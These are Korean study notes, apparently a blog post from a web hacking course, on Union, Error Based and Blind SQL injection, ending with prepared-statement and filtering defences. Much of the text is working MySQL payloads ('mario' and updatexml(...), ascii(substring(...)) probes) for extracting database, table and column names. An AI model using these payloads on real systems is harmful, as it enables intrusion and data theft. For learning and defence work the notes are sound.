** Union SQL Injection이 사용되는 곳
결과를 시각적으로 확인할 수 있는 곳
- 로그인 기능 -> 사용 X
- 게시판 검색 -> 사용 O
- 아이디 중복 체크 -> 사용 X (데이터의 질의 결과가 화면에 출력되는 게 아니다)
* union 핵심
① 컬럼 개수가 맞아야한다
② order by [컬럼 이름 또는 숫자] 트릭 이용한다
③ 데이터가 화면에 보이면 Union SQL Injection을 하고, 보이지 않을 경우, 다른 방법을 시도한다
** Error Based SQL Injection
① 논리적 에러를 이용해서 데이터를 추출하는 SQL Injection이다
② and 구문을 사용한다
* 에러의 종류
① 문법 에러: 문법이 맞지 않아서 발생하는 에러, 실행이 안됨. 그래서 논리 에러를 일으켜야 함
② 논리 에러: 문법은 맞고 "실행이 된다". 실행 하다보니까 에러가 발생
- 실행 시키는 방법?
에러를 유발하는 함수(mysql, oracle, mssql마다 다 다름. 외울필요 x)를 사용한다.
검색 키워드: mysql error based sql injection function
예를 들어
> updatexml(null, concat(0x3a,(select 'test')),null)
select 'test' 부분에 내가 원하는 sql 쿼리를 입력한다.. 이러한 쿼리를 사용하면 에러를 사용하여 원하는 정보를 가져올 수 있다
concat은 문자열을 합치는 함수, 0x3a는 : (콜론)
그러므로 ":test" 라는 글자가 출력된다. :test라는 파일은 없다는 에러메세지가 찍히게 된다
먼저 로그인 로직을 추측한다. 식별/인증 동시, 분리 모두 where id =''가 있다.
그러면 mario' and updatexml(null, concat(0x3a,(select 'test')),null) and '1'='1 을 넣어본다
or를 넣으면, 하나만 참이어도 검증을 안 하는 경우가 있다. and 와 and 사이에 함수를 끼워넣으면 무조건 검증하기 때문에 and 구문 사용
where id ='mario' and updatexml(null, concat(0x3a,(select 'test')),null) and '1'='1'
복사 붙여넣기
test가 없다는 에러가 나오면? → 해당 위치에 SQL문을 넣을 수 있고, 그 결과를 화면으로 볼 수 있다.
or 구문은 로그인 인증 우회 할 때 빼고는 잘 안 씀
Step 1. SQL Injection Point 찾기
Step 2. Error Based SQL Injection 페이로드 준비
원하는 select문을 실행하여 특정 문자가 화면에 출력되도록 쿼리를 준비하는 것
Step 3. DB 이름 추출
→ select database()
예를 들어
ID: mario' and updatexml(null, concat(0x3a,(select database())),null) and '1'='1
복사 붙여넣기 하여 알아낼 수 있다
Step 4. table 이름 알아내기
select table_name from information_schema.tables where table_schema='DB이름'
을 준비한 페이로드에 복붙한다.
mario' and updatexml(null, concat(0x3a,(select table_name from information_schema.tables where table_schema='DB이름')),null) and '1'='1
결과는 안 나온다.
select문에서 실행한 값이 문자로, 한 줄만 나와야하는데 subquery가 1줄 이상을 return하고있다.
table_schema = 'DB이름'에서 DB안의 모든 테이블 이름을 return하기 때문에, 이 결과가 1개의 행으로만 나오도록 해야한다 → limit 사용(mysql)
limit [시작 위치],[개수]
ex) select * from member limit 0,1
member 테이블에서 0번째부터 1개만 가져온다 (첫번째가 0부터 시작)
select table_name from information_schema.tables where table_schema='DB이름' limit 0,1
뒤에다 붙여주면 첫번째 테이블 이름 하나가 나올것이다.
두 번째 테이블 이름은 limit 1,1...이런 식으로 나간다
Step 5. column 이름 알아내기
select column_name from information_schema.columns where table_name = '테이블 이름' limit 0,1
이렇게 사용한다.
ID: mario' and updatexml(null, concat(0x3a,(select column_name from information_schema.columns where table_name = '테이블 이름' limit 0,1)),null) and '1'='1
복붙
Step 6. 원하는 select 문 만들기
Step 2의 페이로드까지 준비해두면 나머지는 복사붙여넣기 이용하는거라서 컴퓨터가 할 수 있다 → 이건 파이썬 이용해서 코딩해보기...
▷ Burp Suite 보는 팁
① HTTP history에서 우클릭 -> clear history
: 특정 기능만 보고싶을 때, 이전 history를 지우고 패킷을 다시 보내서 사용하면 로직 흐름을 분석하기 편하다
② Comparer
:데이터를 비교해준다. Blind SQL Injection할 때 사용할 수 있다.
③ Decorder
: 문자를 인코딩 한다.
** Blind SQL Injection
- Union SQL Injection: 데이터가 화면에 출력되는 곳에서 사용
- Error Based SQL Injection: SQL 에러 메세지가 출력되는 곳에서 사용
- Blind SQL Injection: 그 외 모든 곳에서 가능하다
* 원리
참과 거짓에 따라 응답 결과가 다르게 나오는 조건문을 이용한다. (Comparer 이용)
조건문을 SQL 질의문으로 넣는다
* 기법(mysql 기준)
① limit
행의 개수를 제한해서 가져오고싶을때
② substring
글자를 자르는 함수
substring('문자열',시작 위치,개수)
이 함수는 1부터 시작한다
ex) substring('normaltic',1,1) ->n
③ ascii
알파벳을 숫자로 표현하는 방법이다
SQL 질의문을 넣을 때 비교문을 입력하면 결과는 참, 거짓으로만 나온다
이진 탐색 알고리즘을 사용해 정보를 확인할것
Step 1. SQL Injection Point 찾기
Step 2. 참과 거짓의 응답이 다른 조건문 삽입
조건문에 괄호(구멍)를 만들어둔다. 이 때 and문을 하나 더 써두면 안정적으로 활용할 수 있다
ex)
mario' and ('1' = '1') and '1'='1 참
mario' and ('1' = '2') and '1'='1 거짓
mario' and (조건) and '1'='1
Step 3. select문 테스트
그냥 넣어보고 select문이 되는지 확인한다. 안 되면 필터링 되어있는지도 확인해본다
ex)
mario' and (( select 'normaltic' )='normatic') and '1'='1
Step 4. substring 적용해서 글자 자르기
mario' and (substring((select 'test'),1,1)='t') and '1'='1
첫번째에서 첫 글자가 t 인지 확인한다
substring('test',1,1)='t' → 참
Step 5. ascii 숫자표현 테스트
mario' and (ascii(substring((select 'test'),1,1)) > 0) and '1'='1
ascii(substring((select 'test'),1,1)) > 0
substring('test',1,1)='t' → 참이므로
→ ascii('t') > 0
t가 ascii 코드이므로 0보다 클 것이다 → 참
Step 6. 페이로드 준비
mario' and (ascii(substring((SQL 질의문),1,1)) > 0) and '1'='1
Step 7. DB 이름 알아내기
→ select database()
mario' and (ascii(substring((select database()),1,1)) > 0) and '1'='1
여기서 비교 대상이 되는 숫자를 늘려가면서 (ex. (select database()),1,1)) > 120) 첫 글자를 알아낸다.
두 번째 글자는
mario' and (ascii(substring((select database()),2,1)) > 0) and '1'='1
Step 8. Table 이름 알아내기
→ select table_name from information_schema.tables where table_schema='DB이름' limit 0,1
복사 붙여넣기
mario' and (ascii(substring((select table_name from information_schema.tables where table_schema='DB이름' limit 0,1),1,1)) > 0) and '1'='1
첫번째 테이블의 두 번째 글자는
mario' and (ascii(substring((select table_name from information_schema.tables where table_schema='DB이름' limit 0,1),2,1)) > 0) and '1'='1
다음 행의 테이블 이름은
mario' and (ascii(substring((select table_name from information_schema.tables where table_schema='DB이름' limit 1,1),1,1)) > 0) and '1'='1
limit 뒤의 숫자를 바꾼다
Step 9. Column 이름 알아내기
Error Based Injection에서 Column 이름 알아냈던 방식 적용
Step 10. 데이터 추출
위 과정이 단계가 많기 때문에 자동화하는 코드를 짜서 추출한다
→ 이진 탐색 알고리즘
** 대응 방안
① Prepared Statement
시큐어 코딩이 아닌 속도 향상 목적으로 나온 기능이다.
select * from member where id = '?'
이런 식으로 구멍을 뚫어서 미리 컴파일 했다
011010110101010_____________00110
그러면 기계어가 이런 식으로 구조가 고정이 되어 있는데
사용자가 id를 입력하면 빈 공간(문자열)에 들어오게 되고, union select같은 구조를 변경하는 SQL 질의문이 먹히지 않는다.
id에 싱글쿼터(')를 입력해도 글자로만 인식하게 된다
서버 속도도 빨라지고 SQL Injection도 안 먹힌다
대응방안이 있음에도 SQL Injection이 일어나는 이유
(1) Prepared Statement가 적용이 안 되는 곳
Order by 정렬 부분, Table 이름, Column 이름 부분
(2) 옛날 라이브러리
게시판, 검색 기능 등등을 라이브러리로 만들어놓고 사용하는 경우, 옛날 라이브러리에서 취약점이 나오는 경우가 있다.
(3) 잘못된 Prepared Statement 처리
등등..
② Prepared Statement를 적용하지 못하는 곳에서는 필터링 적용
- 화이트 리스트 기반
- 블랙 리스트 기반
'Web Hacking Study > 수업 정리' 카테고리의 다른 글
| [6주차] 5주차 복습, CSRF (0) | 2022.04.29 |
|---|---|
| [5주차] 4주차 복습, XSS (Stored XSS, Reflected XSS, DOM XSS) (0) | 2022.04.22 |
| [3주차] 데이터 탈취, Union SQL Injection -2 (0) | 2022.04.09 |
| [3주차] SQL Injection 인증 우회, Union SQL Injection -1 (0) | 2022.04.08 |
| [2주차] Burp Suite , 세션/쿠키, SQL Injection, 로그인 로직 (0) | 2022.04.01 |
댓글